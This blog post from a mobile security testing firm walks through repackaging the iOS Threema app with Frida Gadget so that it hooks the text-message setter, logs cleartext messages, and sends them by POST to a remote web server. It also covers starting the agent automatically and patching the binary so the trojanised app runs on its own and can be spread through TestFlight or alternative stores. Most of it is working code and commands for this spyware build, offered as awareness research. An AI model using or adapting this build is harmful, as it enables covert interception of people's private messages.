Mobile Security Testing
Secure Mobile Applications and Communications, we deliver answers.

Threema cleartext messages
DISCLAIMER: This is not a vulnerability in Threema. For the message exfiltration to work, physical access to the device and knowledge of the passcode is necessary or the victim must install the manipulated App manually.
We will take the following steps:
The first step can be skipped if a jailbroken device is used. This post assumes basic knowledge of iOS Mobile Application Testing and the tool Frida.
If we want to be able to use a non-jailbroken device, which includes all recent devices and iOS versions, we must patch the App with the Frida Gadget to be able to use Frida’s dynamic instrumentation features. The tool objection offers a fully automated command to execute all necessary steps, but we will follow the manual route to have full control about all changes made in the App.
All apps on iOS include a code signature which ensures that no changes have been made. Since we want to change some of the binaries in the app, we will need to regenerate this code signature. The certificates and keys needed for this are called a provisioning profile and can be obtained form Apple. To get a valid provisioning profile, we create an empty xcode iOS app project and install it on the target device. Xcode will automatically register the device and generate a provisioning profile which we can later use to resign the patched App. We also need the ipa of Threema and the latest version of the Frida Gadget for iOS. Then we can execute the following commands to copz the Frida Gadget into the App Package and to insert a load instruction in the main binary:
> unzip Threema.ipa && cd Payload/Threema.app > cp <location of frida gadget> Frameworks/FridaGadget.dylib > insert_dylib —strip-codesig —inplace Frameworks/FridaGadget.dylib Threema > cd ../../ && zip -r Threema_frida_gadget.ipa Payload
To resign the app ios-app-signer has proven useful, but other tools and commands exist. When we try to run the resigned app on our device, it crashes during startup with the following backtrace:


The error message and the backtrace reveal that the error is not related to Frida, but instead to application group identifiers and the code singing process. Application group identifiers are part of the entitlements of an app, which are permissions bound to the provisioning profile and validated by Apple. Let’s have a look at the entitlements of the original app and the patched app:
Original entitlements of the Threema app:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>xxxxxxxx.ch.threema.iapp</string> <key>aps-environment</key> <string>production</string> [ … ] <key>com.apple.developer.team-identifier</key> <string>xxxxxxxx</string> <key>com.apple.developer.usernotifications.communication</key> <true/> <key>com.apple.security.application-groups</key> <array> <string>group.ch.threema</string> </array> <key>keychain-access-groups</key> <array> <string>xxxxxxxx.ch.threema.iapp</string> </array> </dict> </plist>
Entitlements when signing with our own provisioning profile:
<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "https://www.apple.com/DTDs/PropertyList-1.0.dtd"> <plist version="1.0"> <dict> <key>application-identifier</key> <string>HB5LB87MX5.ch.scip.threema.Threema</string> <key>com.apple.developer.team-identifier</key> <string>HB5LB87MX5</string> <key>get-task-allow</key> <true/> <key>keychain-access-groups</key> <array> <string>HB5LB87MX5.*</string> </array> </dict> </plist>
We can see that Threema has access to the application group group.ch.threema and our patched app does not, which could be the reason that the App tries to create a file with a nil URL. We can add an app group to our provisioning profile entitlements in Xcode in the section Singing & Capabilities. As Apple prevents us from choosing the same as in the original Threema app, we have to use a different one such as group.scip.threema. Now that our app has access to an application group container, we need to tell it to use group.scip.threema instead of group.ch.threema. Searching in the project for the old application group string reveals that the it is stored in the Info.plist file, where we can change it. After resigning the package, it starts up correctly and we can transfer an existing Threema ID form the original App.
To search for interesting functions, we use the tool objection. We start with a search for all classes containing the string message using the command ios hooking search classes message, which results in 1600 classes. Let’s try to be more specific searching for TextMessage and we get 26 results.
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking search classes TextMessage [ … ] BoxTextMessage GroupTextMessage TextMessageEntity TextMessageEntity_TextMessage_ NSKVONotifying_TextMessageEntity_TextMessage_ Threema.ChatViewTextMessageTableViewCellFound 26 classes
We can investigate promising looking names by listing their class methods. The following are all methods for the class BoxTextMessage:
ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking list class_methods BoxTextMessage + supportsSecureCoding - type - body - flagShouldPush - isContentValid - allowSendingProfile - supportsForwardSecurity - minimumRequiredForwardSecurityVersion - quotedBody - initWithCoder: - encodeWithCoder: - text - setText: - quotedMessageId - setQuotedMessageId: - .cxx_destructAfter hooking theFound 16 methods
setText method, we see the messages in the console:ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # ios hooking watch method "-[BoxTextMessage setText:]" —dump-args (agent) Found selector at 0×102aacbbc as -[BoxTextMessage setText:] (agent) Registering job 750798. Type: watch-method for: -[BoxTextMessage setText:] ch.scip.threema.Threema on (iPhone: 16.7.10) [usb] # (agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage) (agent) [750798] Argument dump: [BoxTextMessage setText: Hello World!] (agent) [750798] Called: -[BoxTextMessage setText:] 1 arguments(Kind: instance) (Super: AbstractMessage) (agent) [750798] Argument dump: [BoxTextMessage setText: Hi]
Now we want to automate this process with a Frida agent. We generate a new boilerplate agent using Frida-create -t agent. In the agent/index.ts file we can remove the default code and add an interceptor to the BoxTextMessage setText function, which logs the parameter. Note that the script needs to load the text from the third element in the args array, because when a class method is called in Objective-C, the first argument contains a pointer to the class instance and the second argument the method selector (a pointer to a string identifying the method). Because the parameter is not the string itself but a pointer to a string, the script creates an ObjC Object from the pointer.
import { log } from "./logger.js";const { BoxTextMessage } = ObjC.classes;
Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); } });
The following two commands are used to build the agent and inject it on the application currently in focus on a connected device:
> npm run build > Frida -UF -l _agent.js [ … ] . . . . Connected to iPhone (id=3c8efcd76b83ba4576e453f7718a8e2a00ae661b) [ 2025-03-19T09:12:02.979Z ]: Test Message [ 2025-03-19T09:12:21.330Z ]: Test Answer
It would be nice to have the script send the messages to a webserver, so the device must not be connected to a computer all the time. We adapt this code from github to suit our needs and send the message text in the body of a post request to a server of our choice. The server could then host a simple php-script which logs the messages to a text file or processes them otherwise.
import { log } from "./logger.js";const { BoxTextMessage, NSString, NSMutableURLRequest, NSURL, NSURLConnection } = ObjC.classes;
// https://github.com/Frida/Frida/issues/1158
const sendTextToRemote = (text: any) => { var str = NSString['alloc']()['initWithString:'](`log_line=${text}`) ; var postData = str.dataUsingEncoding_(4); var len = str.length; var strLength = NSString['stringWithFormat:']('%d', len); var request = NSMutableURLRequest['alloc']()['init'](); var url = NSURL.URLWithString_('https://www.example.org/threema_log.php'); var method = NSString['alloc']()['initWithString:']('POST'); var httpF = NSString['alloc']()['initWithString:']('Content-Length'); var httpL = NSString['alloc']()['initWithString:']('Content-Type'); request.setURL_(url); request.setHTTPMethod_(method); request.setValue_forHTTPHeaderField_(strLength,httpF); request.setValue_forHTTPHeaderField_("application/x-www-form-urlencoded", httpL); request.setHTTPBody_(postData); var nil = ObjC.Object(ptr("0×0")); var d = NSURLConnection['sendSynchronousRequest:returningResponse:error:'](request,nil,nil); };
Interceptor.attach(BoxTextMessage['- setText:'].implementation, { onEnter: function (args) { const text = new ObjC.Object(args[2]); log(`[ ${(new Date()).toISOString()} ]: ${text.toString()}`); sendTextToRemote(text) } });


It would be nice to have the script start automatically every time the app is started. Frida Gadget can do this for us with it’s script mode. We copy the _agent file to the directory Payload/Threema.app/Frameworks and create the file FridaGadget.config in the same place. The following json in the config file will tell Frida to execute our agent on startup:
{
"interaction": {
"type": "script",
"path": "_agent.js"
}
}
There is one caveat: On a non-jailbroken device, a debugger needs to be attached when starting the app. When Frida hooks a function, it changes the code of this function inplace. When this happens, the code signature is no longer valid and iOS stops the execution of the app. When a debugger is attached during the launch of the app, this restriction is relaxed and the code signature not verified during runtime (the debugger can be disconnected once the app has launched). One solution to this problem is to patch the binary ahead of time. We change the functions that we want to intercept, so that the first command of the function is a jump to Frida. If hooked, Frida can execute the javascript agent and then jump back to the normal function execution. Doing this manually would be tedious, but there is a tool included in Frida called gum-graft which automates these tasks.
We already know which function we want to intercept (BoxTextMessage setText:), so we will only patch this one place in the code. To get the address of the function we can use the dyld_info command to read the LC_FUNCTION_STARTS table in the binary. gum-graft can then patch the binary at the found function offset 0×18bbc:
> xcrun dyld_info -function_starts Frameworks/ThreemaFramework.framework/ThreemaFramework | grep "BoxTextMessage setText" 0×00018BBC -[BoxTextMessage setText:] > gum-graft Frameworks/ThreemaFramework.framework/ThreemaFramework —instrument=0×18bbc
In our case, this broke the binary somehow, as it was not able to execute anymore and the xcrun dyld_info command returned the error message dyld_info: 'ThreemaFramework_broken' chained fixups, seg_count does not match number of segments. We are not sure if this is because the binary was built with special compiler and linker flags or if it is a bug in Frida’s gum-graft tool. While looking at the ThreemaFramework binary with different tools and Ghidra, we made some observations and came up with a workaround: gum-graft adds two segments to the binary: __FRIDA_TEXT0 and __FRIDA_DATA0 and changes the function at offset 0x18bbc which is located in the section __TEXT,__text. Using this information and the tool LIEF.re with its python bindings, it is possible to copy the modified parts form the patched to the original binary.
>>> import lief >>> original_binary = lief.parse("ThreemaFramework") >>> patched_binary = lief.parse("ThreemaFramework_patched") >>> print(patched_binary.segments[3]) Command: SEGMENT_64 Offset: 0×1138 Size: 0×98name=__FRIDA_TEXT0, vaddr=0×804000, vsize=0×4000 offset=0×7e4000, size=16384, max protection=5, init protection=5 flags=0 >>> print(patched_binary.segments[4]) Command: SEGMENT_64 Offset: 0×11d0 Size: 0×98name=__FRIDA_DATA0, vaddr=0×808000, vsize=0×4000 offset=0×7e8000, size=16384, max protection=3, init protection=3 flags=0 >>> original_binary.add(patched_binary.segments[3]) <lief._lief.MachO.SegmentCommand object at 0×10e48a1d0> >>> original_binary.add(patched_binary.segments[4]) <lief._lief.MachO.SegmentCommand object at 0×10e48a290> >>> original_binary.get_section("__text").content = patched_binary.get_section("__text").content >>> original_binary.write("ThreemaFramework")
Before executing the patched binary we need to tell Frida that it can only instrument patched functions, which we can do in the FirdaGadget.config file by adding the option "code_signing": "required". With these changes, the app can be disconnected from the computer and debugger and launches just fine. This also means it is easier to distribute the app to other people, for example using Testflight or alternative app stores.
We have shown that it is possible to exfiltrate messages from chat apps such as Threema using dynamic instrumentation tools. We have further refined to send the messages to a webserver and to start the instrumentation automatically. By also patching the binary ahead of time, we created a version of Threema which can be distributed via Apple TestFlight or other alternative app stores. Together with a social engineering attack, it is plausible that this can be used to spy on a victim and it shows how important it is to only install software from trusted locations, even on closed-down systems such as iOS.
Our experts will get in contact with you!

Secure Mobile Applications and Communications, we deliver answers.

Ian Boschung

Ian Boschung
Our experts will get in contact with you!